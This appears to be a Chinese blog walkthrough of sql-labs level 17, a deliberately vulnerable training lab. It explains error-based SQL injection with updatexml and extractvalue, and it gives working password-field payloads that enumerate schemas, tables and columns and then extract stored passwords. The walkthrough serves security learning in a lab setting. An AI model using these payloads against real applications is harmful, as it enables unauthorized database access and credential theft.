superforming的sql-labs大通关之特殊关卡(十七关)解析及注入方法

superforming的sql-labs大通关

第一部分(第1~10关)
第二部分(第11~16关)
第三部分(特殊的17关)
持续更新…continue…

提要

本文中的sql语句不可以直接复制到靶场中注入,因为编辑的时候不一定是用英语符号,直接复制可能不会注入成功。我写这一系列的博客,主要是记录的自己的学习心路。

<1>特殊之处

(1)与之前关卡相比
  • 1.在前十六关,我只讲了sql-labs基于get数据传输方式的“联合查询”、“布尔盲注”、“时间盲注”、和基于post传输数据方式的“联合查询”、“布尔盲注”、“时间盲注”。这一关可以用使用的“报错注入”和“时间盲注”,前面的关卡用过时间盲注这一关就用报错注入。下面来分析一下为什么能使用“报错注入”,观察源码就会发现调用了“mysql_erroe函数”与“print_r函数”将报错信息输出,所以可以进行"报错注入",但是不能进行联合查询,因为没有回显。调用的函数是mysql_query函数所以不能堆叠注入。【如下图】

在这里插入图片描述

  • 2.同时也首次调用"check_input()函数"对变量“uname”进行过滤。【如下图】

在这里插入图片描述

(2)与之后关卡相比

这一关源码首次调用了“update”这可以更新数据库数据,所以在完成通过以后为了不影响以后的关卡要进行相应操作,或者在操作时不要改成奇奇怪怪的“password”。
在这里插入图片描述

<2>报错查询原理

(1)extractvalue函数
  • 1.函数作用:这一个函数的作用是返回对应路径下的内容。
  • 2.语法机构:extractvalue(xml_document,xpath_string)
  • 3.解释:xml_document就是xml文档的名字,xpath_string就是文档中的路径,且要符合xpath语法
  • 4.报错原理:当应该输入路径的地方没有遵循xpath语法就会报错,如果网站会将数据库的报错返回到网页上,那我们就可以基于这一点爆取信息,这就是报错注入。
(2)updatexml函数
  • 1.函数作用:将对应路径下的值变为新值。
  • 2.语法结构:updatexml(xml_document,xpath_string,new_value)
  • 3.解释:前两个参数和之前的函数一样,最后的参数是一个常量是要被赋予的新值。
  • 4.报错原理:当应该输入路径的地方没有遵循xpath语法就会报错,如果网站会将数据库的报错返回到网页上,那我们就可以基于这一点爆取信息,这就是报错注入。

<3>具体步骤

(1)第一步:判断是否存在注入

和前几关基于post数据传输的步骤类似,在“username”和“password”中分别尝试数据包裹的常用的七种方式(“无包裹”、“单引号”、“双引号”、“单引号加单括号”、“双引号加单括号”、“单引号加双括号”、“双引号加双括号”),判断是否有注入。

  • 1.在”username“处进行注入最终发现尝试完七种包裹方式还是不能注入成功,只能得到如下图的结果,证明应该将输入的信息进行了过滤。
    在这里插入图片描述

  • 2.在“password”处进行注入发现,包裹方式为“单引号”。

(2)第二步:爆库名

进行了上文的分析,我们已经知道这一关要基于“报错查询”进行注入,并且只能在“password”处进行注入,所以我们在"username"处输入:

admin

在"password"处输入:

admin’ and updatexml(‘forming is very handsome’,concat(’,’,(select schema_name from information_schema.schemata limit x,1),’,’),‘forming is very handsome’) #

或者

admin’ and extractvalue(‘forming is very handsome’,concat(’,’,(select schema_name from information_schema.schemata limit x,1),’,’)) #

特别要注意的是“password”处的“x”是“可变的整数”,意思就是开始数字为0,报完一个数据库的名字之后加一爆下一个的数据库名,这是因为mysql_erroe函数一次的返回只能返回一行数据,不然会报出如下图所示的错误
在这里插入图片描述
输入正确以后会返回如下的网页(以x为零做例子)
在这里插入图片描述

(3)第三步:爆表名

和上面第二部类似,只需要改动几处。我们要在“username”处输入:

admin

在“password”处输入:

admin’and updatexml(‘forming is very handsome’,concat(’,’,(select table_name from information_schema.tables where table_schema=‘security’ limit x,1),’,’),‘forming is very handsome’) #

或者

admin’and extractvalue(‘forming is very handsome’,concat(’,’,(select table_name from information_schema.tables where table_schema=‘security’ limit x,1),’,’)) #

特别要注意的是“password”处的“x”是“可变的整数”,意思就是开始数字为0,报完一个数据库的名字之后加一爆下一个的数据库名,这是因为mysql_erroe函数一次的返回只能返回一行数据,不然会报出如下图所示的错误
以"x"为0为例输入正确会有如下结果
在这里插入图片描述

(4)第四步:爆字段名

在“username”处输入:

admin

在“password”处输入:

admin’and updatexml(‘forming is very handsome’,concat(’,’,(select column_name from information_schema.columns where table_name=‘users’ limit x,1),’,’),‘forming is very handsome’)#

或者

admin’and extractvalue(‘forming is very handsome’,concat(’,’,(select column_name from information_schema.columns where table_name=‘users’ limit x,1),’,’))#

特别要注意的是“password”处的“x”是“可变的整数”,意思就是开始数字为0,报完一个数据库的名字之后加一爆下一个的数据库名,这是因为mysql_erroe函数一次的返回只能返回一行数据,不然会报出如下图所示的错误
以"x"为0为例输入正确会有如下结果

在这里插入图片描述

(5)第五步:爆字段
对“You can’t specify target table ‘users’ for update in FROM clause”和“Every derived table must have its own alias”报错的解决及原理
  • 【1】:原理
    爆字段和前面那几步有根本的不同,首先就是通过网页post传递数据之后经过php脚本在数据库中查信息,在slect一个表的情况下,不能指定该表中的明确的目标进行更改。如果按照上面和我之前的博文进行举一反三的话会有如下报错
    在这里插入图片描述
    而我们用“创建表”的方法解决以后会因为这个表没有别名“alias”而有如下报错
    在这里插入图片描述

  • 【2】:解决办法
    既然没办法在select一个表的情况下,update一个表,那我们只需要先执行一个select在这一个基础上select这个select结果,就可以解决第一个问题。同时用"as"的方式解决第二个报错的问题

具体步骤
  • 【1】在“username”处输入:

admin

  • 【2】在这里用“password”做比,查“username”请读者举一反三
    在“password”处输入:

admin’and updatexml(‘forming is very handsome’,concat(’,’,(select password from ((select password from users) as formingisveryhandsome) limit x,1),’,’),‘forming is very handsome’)#

或者

admin’and extractvalue(‘forming is very handsome’,concat(’,’,(select password from((select password from users)as formingisveryhandsome) limit x,1),’,’))#

特别要注意的是“password”处的“x”是“可变的整数”,意思就是开始数字为0,报完一个数据库的名字之后加一爆下一个的数据库名,这是因为mysql_erroe函数一次的返回只能返回一行数据,不然会报出如下图所示的错误
就可以实现注入sql语句查询密码。以x0为例若输入正确会得到如下图所示的结果:
在这里插入图片描述

第六步:数据库还原

这一关特殊之处在于用“update”对数据库中的数据进行改变,所以我们在做完这一关之后要进行还原,还原的方法就是,回到网站的首页
在这里插入图片描述点击左上角出如上图的“Setup/reset Database for labs”就可以重置数据库

superforming的sql-labs大通关

第一部分(第1~10关)
第二部分(第11~16关)
第三部分(特殊的17关)
持续更新…continue…

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

SuperForming

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值